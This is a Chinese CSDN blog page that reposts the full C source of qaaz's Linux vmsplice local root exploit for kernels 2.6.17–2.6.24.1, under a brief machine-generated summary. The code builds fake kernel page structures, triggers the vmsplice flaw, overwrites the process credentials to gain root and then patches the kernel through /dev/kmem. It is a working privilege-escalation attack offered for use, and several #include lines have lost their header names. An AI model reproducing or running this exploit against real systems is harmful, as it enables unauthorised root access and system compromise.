linux local root exploit,Linux vmsplice Local Root Exploit 2.6.17 - 2.6.24.1

本文详细介绍了Linux vmsplice漏洞的利用方法,通过本地提权技术获取root权限。代码展示了如何在x86和x86_64架构上实现这一过程,包括内存映射、页面设置和调用内核函数。作者强调了运行此代码的风险,并提供了检查系统是否受影响的辅助函数。
摘要由CSDN通过智能技术生成

/*

* Linux vmsplice Local Root Exploit

* By qaaz

*

* Linux 2.6.17 - 2.6.24.1

*/

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define __KERNEL__

#include

#define PIPE_BUFFERS 16

#define PG_compound 14

#define uint unsigned int

#define static_inline static inline __attribute__((always_inline))

#define STACK(x) (x + sizeof(x) - 40)

struct page {

unsigned long flags;

int count;

int mapcount;

unsigned long private;

void *mapping;

unsigned long index;

struct { long next, prev; } lru;

};

void exit_code();

char exit_stack[1024 * 1024];

void die(char *msg, int err)

{

printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));

fflush(stdout);

fflush(stderr);

exit(1);

}

#if defined (__i386__)

#ifndef __NR_vmsplice

#define __NR_vmsplice 316

#endif

#define USER_CS 0x73

#define USER_SS 0x7b

#define USER_FL 0x246

static_inline

void exit_kernel()

{

__asm__ __volatile__ (

"movl %0, 0x10(%%esp) ;"

"movl %1, 0x0c(%%esp) ;"

"movl %2, 0x08(%%esp) ;"

"movl %3, 0x04(%%esp) ;"

"movl %4, 0x00(%%esp) ;"

"iret"

: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),

"i" (USER_CS), "r" (exit_code)

);

}

static_inline

void * get_current()

{

unsigned long curr;

__asm__ __volatile__ (

"movl %%esp, %%eax ;"

"andl %1, %%eax ;"

"movl (%%eax), %0"

: "=r" (curr)

: "i" (~8191)

);

return (void *) curr;

}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice

#define __NR_vmsplice 278

#endif

#define USER_CS 0x23

#define USER_SS 0x2b

#define USER_FL 0x246

static_inline

void exit_kernel()

{

__asm__ __volatile__ (

"swapgs ;"

"movq %0, 0x20(%%rsp) ;"

"movq %1, 0x18(%%rsp) ;"

"movq %2, 0x10(%%rsp) ;"

"movq %3, 0x08(%%rsp) ;"

"movq %4, 0x00(%%rsp) ;"

"iretq"

: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),

"i" (USER_CS), "r" (exit_code)

);

}

static_inline

void * get_current()

{

unsigned long curr;

__asm__ __volatile__ (

"movq %%gs:(0), %0"

: "=r" (curr)

);

return (void *) curr;

}

#else

#error "unsupported arch"

#endif

#if defined (_syscall4)

#define __NR__vmsplice __NR_vmsplice

_syscall4(

long, _vmsplice,

int, fd,

struct iovec *, iov,

unsigned long, nr_segs,

unsigned int, flags)

#else

#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))

#endif

static uint uid, gid;

void kernel_code()

{

int i;

uint *p = get_current();

for (i = 0; i < 1024-13; i++) {

if (p[0] == uid && p[1] == uid &&

p[2] == uid && p[3] == uid &&

p[4] == gid && p[5] == gid &&

p[6] == gid && p[7] == gid) {

p[0] = p[1] = p[2] = p[3] = 0;

p[4] = p[5] = p[6] = p[7] = 0;

p = (uint *) ((char *)(p + 8) + sizeof(void *));

p[0] = p[1] = p[2] = ~0;

break;

}

p++;

}

exit_kernel();

}

void de_exploit()

{

char line[4096];

FILE* ksyms = fopen("/proc/kallsyms", "r");

size_t address = 0;

if(!ksyms)

{

perror("Could not open /proc/kallsyms");

exit(EXIT_FAILURE);

}

while(fgets(line, sizeof(line), ksyms))

{

if(strstr(line, " sys_vmsplice"))

{

sscanf(line, "%zx", &address);

break;

}

}

if(!address)

{

fprintf(stderr, "Address not found\n");

exit(EXIT_FAILURE);

}

int fd = open("/dev/kmem", O_RDWR);

if(fd == -1)

{

perror("open(\"/dev/kmem\")");

exit(EXIT_FAILURE);

}

char* map = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, address & ~0xFFF);

if(map == MAP_FAILED)

{

perror("mmap");

exit(EXIT_FAILURE);

}

map[address & 0xfff] = 0xc3; /* 0xC3 = RET */

fprintf(stderr, "Exploit gone!\n");

exit(EXIT_SUCCESS);

}

void exit_code()

{

if (getuid() != 0)

die("wtf", 0);

printf("[+] root\n");

de_exploit(); // mortehu

//putenv("HISTFILE=/dev/null");

//execl("/bin/bash", "bash", "-i", NULL);

//die("/bin/bash", errno);

}

int main(int argc, char *argv[])

{

int pi[2];

size_t map_size;

char * map_addr;

struct iovec iov;

struct page * pages[5];

uid = getuid();

gid = getgid();

setresuid(uid, uid, uid);

setresgid(gid, gid, gid);

printf("-----------------------------------\n");

printf(" Linux vmsplice Local Root Exploit\n");

printf(" By qaaz\n");

printf("-----------------------------------\n");

if (!uid || !gid) {

de_exploit();

return EXIT_FAILURE;

}

else

{

fprintf(stderr, "Run as root to minimize risk of crashing system\n");

fprintf(stderr, "Press Enter to proceed as normal user. Press Ctrl-C to abort.\n");

getchar();

}

/*****/

pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};

pages[1] = pages[0] + 1;

map_size = PAGE_SIZE;

map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,

MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if (map_addr == MAP_FAILED)

die("mmap", errno);

memset(map_addr, 0, map_size);

printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

printf("[+] page: 0x%lx\n", pages[0]);

printf("[+] page: 0x%lx\n", pages[1]);

pages[0]->flags = 1 << PG_compound;

pages[0]->private = (unsigned long) pages[0];

pages[0]->count = 1;

pages[1]->lru.next = (long) kernel_code;

/*****/

pages[2] = *(void **) pages[0];

pages[3] = pages[2] + 1;

map_size = PAGE_SIZE;

map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,

MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if (map_addr == MAP_FAILED)

die("mmap", errno);

memset(map_addr, 0, map_size);

printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

printf("[+] page: 0x%lx\n", pages[2]);

printf("[+] page: 0x%lx\n", pages[3]);

pages[2]->flags = 1 << PG_compound;

pages[2]->private = (unsigned long) pages[2];

pages[2]->count = 1;

pages[3]->lru.next = (long) kernel_code;

/*****/

pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};

map_size = PAGE_SIZE;

map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,

MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if (map_addr == MAP_FAILED)

die("mmap", errno);

memset(map_addr, 0, map_size);

printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

printf("[+] page: 0x%lx\n", pages[4]);

/*****/

map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;

map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,

MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if (map_addr == MAP_FAILED)

die("mmap", errno);

memset(map_addr, 0, map_size);

printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/

map_size -= 2 * PAGE_SIZE;

if (munmap(map_addr + map_size, PAGE_SIZE) < 0)

die("munmap", errno);

/*****/

if (pipe(pi) < 0) die("pipe", errno);

close(pi[0]);

iov.iov_base = map_addr;

iov.iov_len = ULONG_MAX;

signal(SIGPIPE, exit_code);

_vmsplice(pi[1], &iov, 1, 0);

die("vmsplice", errno);

return 0;

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值